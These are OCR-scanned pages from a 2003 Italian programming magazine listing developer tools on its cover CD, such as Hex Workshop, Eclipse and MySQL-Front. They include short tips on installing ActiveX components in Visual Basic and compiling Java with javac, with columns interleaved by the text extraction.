editor compatibile C-Script e ad una nutrita li- su più dischi e interagire in vario modo con il
breria di oggetti tridimensionali e giochi pron- XpoLog 2.0 registro di Windows. Semplice ed altamente
ti ad essere riutilizzati. Versione di valutazione Un potente sistema per l’analisi e la manipola- personalizzabile.
valida trenta giorni. zione di qualsiasi file di log e di qualsiasi file di [Link]
[Link] configurazione. Le viste ed i filtri disponibili
consentono un approfondito debug, anche in re- XML Marker 1.0
Hex Workshop Hex moto, grazie alla possibilità di esportare automa- Veloce e semplice da utilizzare, XML Marker
Editor 4.1 ticamente i file, comprimendoli e inviandoli via ha dalla sua alcune interessanti caratteristiche
Un tool per l’elaborazione di file in esadecimale e-mail. Versione di prova valida trenta giorni. come: il sintax highlighting e la possibilità di
che combina le capacità di un avanzato editor [Link] visualizzare i documenti sia in formato tabula-
binario con la semplicità di un Word Processor. re che secondo la classica vista ad albero. L’e-
Hex Workshop consente di editare, tagliare, co- NetworkSmart Developer ditor di testo integrato è molto comodo e, gra-
piare, incollare, inserire e cancellare porzioni di 2003 zie a numerosi wizard, si raggiungono buoni
file in esadecimale e permette inoltre una facile Un add in per Visual Studio .NET che permet- risultati con relativa semplicità. Versione di va-
pubblicazione del codice, sia in RTF che in te di monitorare ed effettuare il debug delle ap- lutazione valida trenta giorni.
HTML. Sono disponibili funzioni di goto, ricer- plicazioni in Real time. Particolarmente interes- xmlmarker_1_setup.exe

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 129
015-025 soft 4-06-2003 10:50 Pagina 130

E L E N C O S O F T W A R E S U I C D G G G G G G G G G G G

Elenco

Software sul CD
Microsoft .Net Fra- Hex Workshop Hex JProfiler 2.2 zione in più lingue.
mework 1.1 SDK Editor 4.1 Scopri i colli dibottiglia di ap- [Link]
Indispensabile per sviluppare con Un editor esadicimale semplice e plicazioni J2SE e J2EE.
.NET. ricco di funzionalità. jprofiler_windows_2_2_1.exe DevHQ License
SECONDO CD: [Link] Manager 1.0
\DOT_NET_FRAMEWORK DreamMaker 1.1 Un sistema centralizzato per la
ERCreator Database Scrivi in inglese comune il tuo gestione delle licenze.
Eclipse 2.1 Edition demo 2.0 programma! [Link]
Open Source: la più completa piat- Crea nuovi database e nuovi script. [Link]
taforma di sviluppo per Java. [Link] Ariacom Business
eclipse-sourceBuild-srcInclu- Astrum Reports 2.1
[Link] Edit Ease Pro 4.0a InstallWizard 1.94 Un sistema di report gratuito.
Converte i documenti in formato Per creare file di installazione. [Link]
MySQL-Front ASCII. [Link]
L’interfaccia ideale per MySQL. eep_demo_4x.exe Maguma Studio
MySQL-Front_2.5_Setup.exe REAL basic for for PHP 1.0.7p2
BulletProof Windows 5.1 Per creare e gestire siti PHP ad
Microsoft Web Ma- JDesignerPro 5.0 Crea e compila applicazioni alte prestazioni.
trix Per creare applicazioni Java orien- per Windows e Mac. maguma_studio-1.0.7p2-
Per sviluppare applicazioni .NET. tate al database. [Link] [Link]
[Link] Jdp5_0.exe
XML Marker 1.0 Aqua Data Studio
SQL Server 2000 XpoLog 2.0 Un agile editor XML. 3.0.3
Desktop Engine Per analizzare log e file di configu- xmlmarker_1_setup.exe Un potente IDE per creare ed
(MSDE) razione Web. eseguire script SQL.
L'aggiornamento più recente e [Link] SheerPower 4GL Ba- [Link]
completo a SQL Server 2000. sic 3.4 build 18
SECONDO CD: \MSDE NetworkSmart Crea applicazioni per Win- GNU Compiler
Developer 2003 dows in un batter d’occhio! Collection 3.3
Open Office 1.0.2 Per il controllo e il debug delle ap- sp_install.exe Pronta la nuova release.
Prova il brivido di personalizzare il plicazioni .NET. [Link]
tuo office. [Link] RenderX XEP 3.4
SECONDO CD: \OPEN_OFFICE Per connvertire documenti 3D GameStudio
Liatro Binary XML in PDF. / A6 6.0
ColdFusion MX Explorer 1.0 xep34_trial.zip Un ambiente per costruire gio-
Updater 3 Per ispezionare la struttura di chi in due e tre dimensioni.
Aggiorna il tuo Coldfusion. file in esadecimale. InstallConstruct 5.6 [Link]
COLDFUSION_UPDATER [Link] Per creare file autoinstallanti
con facilità. Speciale
Patch Maker 1.2 ColdFusion MX [Link] Database
Crea le patch di aggiornamento L’ambiente ideale per creare appli- Una selezione dei migliori
per le tue applicazioni. cazioni Web. Tarma Installer 2.53 RDBMS gratuiti.
[Link] [Link] Per avere pacchetti di installa- SECONDO CD: \SpecialeDB

Installazione ActiveX in Visual Basic Risorse Java


Dal menu Progetto selezionare la voce Componenti (CT RL+T); nella Molte delle risorse Java riportate all’interno del CD
schermata presente a video è visibile una list box contenente l’elenco dei ROM sono munite di file .java, .class e di file html per
componenti ActiveX installati nel sistema; da questi è possibile sele- essere testate. Nel caso di compilazione del file .java
zionare uno o più componenti e confermare mediante il bottone OK; qua- si dovrà utilizzare un opportuno strumento, come ad
lora il componente non fosse installato nel sistema ma fosse comunque esempio il JDK di Sun.
presente nel computer è possibile selezionare quest’ultimo tramite Per utilizzarlo si dovrà operare da prompt del DOS, ac-
l’utilizzo del bottone “Sfoglia” mediante il quale si ha accesso alle cedere alla directory bin dell’ambiente stesso ed av-
directory del sistema; da queste è possibile localizzare il componente da viare il Java Compiler digitando la stringa: javac “no-
installare. mefile”.

130 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t

Potrebbero piacerti anche